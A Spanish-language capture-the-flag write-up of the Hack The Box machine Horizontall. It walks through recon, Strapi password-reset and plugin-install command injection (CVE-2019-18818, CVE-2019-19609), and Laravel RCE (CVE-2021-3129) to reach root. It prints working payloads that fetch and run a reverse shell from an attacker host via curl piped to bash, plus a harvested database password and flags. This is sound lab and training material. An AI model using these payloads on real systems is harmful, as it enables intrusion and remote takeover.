En Horizontall descubrimos Strapi, explotamos multiples vulnerabilidades lo que nos permitió el acceso a la máquina. Escalamos privilegios explotando una vulnerabilidad en Laravel.
Nombre |
Horizontall |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.11.105 |
Maker |
wail99 |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.8, 5.3, 6.1, 3.9, 4.7],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[6, 9, 10, 0, 1],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
Web Site
Encontramos lo que parece ser una pagina estática, tras verificar el codigo fuente vemos que existe codigo Javascript y que se podria tratar de una app escrita en este lenguaje o algun Framework derivado.
El archivo app.c68eb462.js
contiene codigo Javascript, vemos dentro del codigo una variable que contiene un metodo que obtiene opiniones desde una “API” que se encuentra en un subdominio. Además al final, vemos un comentario con un nombre de un archivo que pertenece al Mapa Fuente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
// [ ... REDACTED ...]
y = {
name: "App",
components: {
Navbar: v,
Home: w
},
data: function() {
return {
reviews: []
}
},
methods: {
getReviews: function() {
var t = this;
r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
return t.reviews = s.data
}))
}
}
}
//[ ... REDACTED ...]
//# sourceMappingURL=app.c68eb462.js.map
|
Tras obtener el archivo (app.c68eb462.js.map) vemos los diferentes componentes de la app, está utilizando VueJS. Observamos tambien una solicitud hecha con axios
para mostrar información de los “reviews” misma que se presentó anteriormente, lo que indica que podria ser el codigo fuente de la app del dominio principal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import axios from 'axios'
import Navbar from './components/Navbar.vue'
import Home from './components/Home.vue'
export default {
name: 'App',
components: {
Navbar,
Home
},
data(){
return {
reviews:[],
}
},
methods:{
getReviews(){
axios.get('http://api-prod.horizontall.htb/reviews')
.then(response => this.reviews = response.data)
}
}
}
|
Tras visitar el subdmonio vemos solo un mensaje: “Welcome”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
π ~/htb/horizontall ❯ curl -s http://api-prod.horizontall.htb
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>Welcome to your API</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
</style>
</head>
<body lang="en">
<section>
<div class="wrapper">
<h1>Welcome.</h1>
</div>
</section>
</body>
</html>
π ~/htb/horizontall ❯
|
Directory Brute Forcing
feroxbuster
muestra las direcciones de recursos de la pagina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
π ~/htb/horizontall ❯ feroxbuster -u http://horizontall.htb/ -w $MD -x js,txt,xml
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://horizontall.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [js, txt, xml]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 7l 13w 194c http://horizontall.htb/img
301 7l 13w 194c http://horizontall.htb/css
301 7l 13w 194c http://horizontall.htb/js
|
Tambien ejecutamos feroxbuster
en el subdominio, vemos dos nuevas rutas: users
, admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
π ~/htb/horizontall ❯ feroxbuster -u http://api-prod.horizontall.htb/ -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://api-prod.horizontall.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 1l 21w 507c http://api-prod.horizontall.htb/reviews
403 1l 1w 60c http://api-prod.horizontall.htb/users
200 16l 101w 854c http://api-prod.horizontall.htb/admin
200 1l 21w 507c http://api-prod.horizontall.htb/Reviews
403 1l 1w 60c http://api-prod.horizontall.htb/Users
200 16l 101w 854c http://api-prod.horizontall.htb/Admin
200 1l 21w 507c http://api-prod.horizontall.htb/REVIEWS
[####################] - 11m 220545/220545 0s found:7 errors:5
[####################] - 11m 220545/220545 324/s http://api-prod.horizontall.htb/
π ~/htb/horizontall ❯
|
En /users
solo retorna un mensaje de error.
1
|
{"statusCode":403,"error":"Forbidden","message":"Forbidden"}
|
Strapi
En /admin
vemos un login donde se muestra strapi, este es un sistema gestor de contenidos (CMS).
Utilizamos Burpsuite para capturar las solicitudes, entre ellas encontramos información, el entorno: en Desarrollo, y la version de strapi: 3.0.0-beta.17.4
.
Mediante la documentacion intentamos registrar un usuario con curl pero parece no estar disponible dicha ruta.
1
2
3
|
π ~/htb/horizontall ❯ curl -sX POST http://api-prod.horizontall.htb/admin/local/register -H 'Content-Type: application/json' -d '{"username":"sckull","email":"sckull@strapi.io","password":"123@Abc"}'
{"statusCode":404,"error":"Not Found","message":"Not Found"}
π ~/htb/horizontall ❯
|
Admin
Con la opción Olvidaste tu contraseña? realizamos una “enumeracion” de posibles correos (nombres de usuario comunes) tomando como dominio horizontall.htb
, el usuario admin
es el unico que no mostró el error: ‘This email does not exit’, y consideramos este como existente y válido.
Vulnerabilidades
Vemos en snyk.io multiples vulnerabilidades para la version que encontramos. Improper Access Control, este no maneja de manera “correcta” al restablecer contraseñas, además cuenta con un CVE: CVE-2019-18818. Tambien encontramos Arbitrary Code Injection, este permite ejecutar comandos en la instalacion de un plugin, intentamos replicar esta vulnerabilidad pero es necesario un token.
User - Strapi
Improper Access Control
Encontramos información sobre el CVE-2019-18818 donde muestra que al enviar una solicitud para restablecer una contraseña el servidor responde con información del primer usuario en la base de datos, tambien encontramos un post que presenta un pequeño exploit. Tras replicar esto en una solicitud en Burpsuite vemos el token y usuario.
Code Injection
Con el token que tenemos podemos replicar la explotación (CVE-2019-19609). Creamos primero un pequeño servidor en python y un archivo con shell inversa.
1
2
|
python3 -m http.server 80
wget -q https://shell.infosecjack.me/10.10.20.21:1337 -O sc
|
Creamos nuestra solicitud, cambiando el comando para ejecutar nuestra propia shell.
1
2
3
4
5
6
|
curl -i -sX POST -H 'Host: api-prod.horizontall.htb' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1N[.. snip ..]l9pTlqYM'\
-H 'Content-Type: application/json'\
-H 'Origin: http://api-prod.horizontall.htb' \
--data '{"plugin":"documentation && $(curl 10.10.14.24/sc|bash)","port":"80"}'\
http://api-prod.horizontall.htb/admin/plugins/install
|
Shell
Tras enviar la solicitud logramos obtener una shell como strapi y realizar la lectura de user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
π ~/htb/horizontall ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from horizontall.htb [10.10.11.105] 39238
can't access tty; job control turned off
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash");'
strapi@horizontall:~/myapi$ whoami; id; pwd
strapi
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
/opt/strapi/myapi
strapi@horizontall:~/myapi$ cd /home
strapi@horizontall:/home$ ls
developer
strapi@horizontall:/home$ cd developer
strapi@horizontall:/home/developer$ ls
composer-setup.php myproject user.txt
strapi@horizontall:/home/developer$ cat user.txt
8d625405c35dbaef6e6a480d88213e6a
strapi@horizontall:/home/developer$
|
Vemos las credenciales dentro de los archivos de configuración de strapi, pero no se muestran credenciales dentro de la base de datos para cambiar a otro usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
strapi@horizontall:~/myapi/config/environments/development$ ls -lah
total 32K
drwxr-xr-x 2 strapi strapi 4.0K Jul 29 04:38 .
drwxr-xr-x 5 strapi strapi 4.0K May 26 14:31 ..
-rw-r--r-- 1 strapi strapi 135 May 26 14:31 custom.json
-rw-rw-r-- 1 strapi strapi 351 May 26 14:31 database.json
-rw-r--r-- 1 strapi strapi 439 May 26 14:31 request.json
-rw-r--r-- 1 strapi strapi 164 May 26 14:31 response.json
-rw-r--r-- 1 strapi strapi 529 May 26 14:31 security.json
-rw-r--r-- 1 strapi strapi 159 May 26 14:31 server.json
strapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}
strapi@horizontall:~/myapi/config/environments/development$
|
Privesc
Enumeramos los puertos abiertos y vemos tres puertos, el puerto 3306 pertenece al puerto de MySQL, el 1337 a istrapi y finalmente, 8000 el cual no vemos algun proceso.
1
2
3
4
5
6
7
8
9
10
11
|
strapi@horizontall:~$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1760/node /usr/bin/
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
strapi@horizontall:~$
|
Vemos strapi en la configuracion de nginx.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
strapi@horizontall:/etc/nginx/sites-available$ cat * | grep -v "#"
server {
listen 80;
listen [::]:80;
server_name horizontall.htb www.horizontall.htb;
root /var/www/html/horizontall;
index index.html index.htm;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen [::]:80;
listen 80;
server_name api-prod.horizontall.htb;
location / {
proxy_pass http://localhost:1337;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server {
listen 80 default_server;
listen [::]:80 default_server;
return 301 http://horizontall.htb;
}
strapi@horizontall:/etc/nginx/sites-available$
|
Laravel - CVE-2021-3129
Aunque al realizar una solicitud vemos la version de laravel: 7.4.18
. Verificamos si la version tiene alguna vulnerabilidad aunque no encontramos ninguna relacionada a esta version, encontramos una más reciente: CVE-2021-3129.
1
2
3
4
5
6
7
8
9
10
11
12
|
strapi@horizontall:~$ curl -s http://127.0.0.1:8000|tail
</div>
<div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
Laravel v8 (PHP v7.4.18)
</div>
</div>
</div>
</div>
</body>
</html>
strapi@horizontall:~$
|
Exploit
Descubrimos un repositorio donde vemos un exploit que, utilizamos para explotar la vulnerabilidad de RCE de Laravel, descargando el repositorio ZIP en la maquina, tras ejecutar el exploit vemos que la mayoria de las “versiones” funcionan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
strapi@horizontall:~/CVE-2021-3129-main$ python3 exp.py http://127.0.0.1:8000
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:
[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:
[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Laravel/RCE6 for exploitation.
[+]exploit:
[*] Laravel/RCE6 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Laravel/RCE7 for exploitation.
[+]exploit:
[*] Laravel/RCE7 Result:
[*] Try to use Monolog/RCE1 for exploitation.
[+]exploit:
[*] Monolog/RCE1 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Monolog/RCE2 for exploitation.
[+]exploit:
[*] Monolog/RCE2 Result:
uid=0(root) gid=0(root) groups=0(root)
[*] Try to use Monolog/RCE3 for exploitation.
[+]exploit:
[*] Monolog/RCE3 Result:
[*] Try to use Monolog/RCE4 for exploitation.
[+]exploit:
[*] Monolog/RCE4 Result:
strapi@horizontall:~/CVE-2021-3129-main$
|
Shell
Modificamos el exploit para ejecutar una shell inversa como en User - Strapi.
1
2
3
4
5
6
7
|
class EXP:
#这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
__gadget_chains = {
[.. snip ..]
"Laravel/RCE6":r"""
php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system(' curl 10.10.14.24/sc|bash ');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
""",
|
Logramos obtener acceso root y la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
π ~/htb/horizontall ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from horizontall.htb [10.10.11.105] 40020
/bin/sh: 0: can't access tty; job control turned off
python -c 'import pty;pty.spawn("/bin/bash");'
whoami; id; pwd
whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/home/developer/myproject/public
cd
cd
ls
ls
boot.sh pid restart.sh root.txt
cat root.txt
cat root.txt
9a48fa6338ba86de7204da0255c9c8bc
root@horizontall:~#
|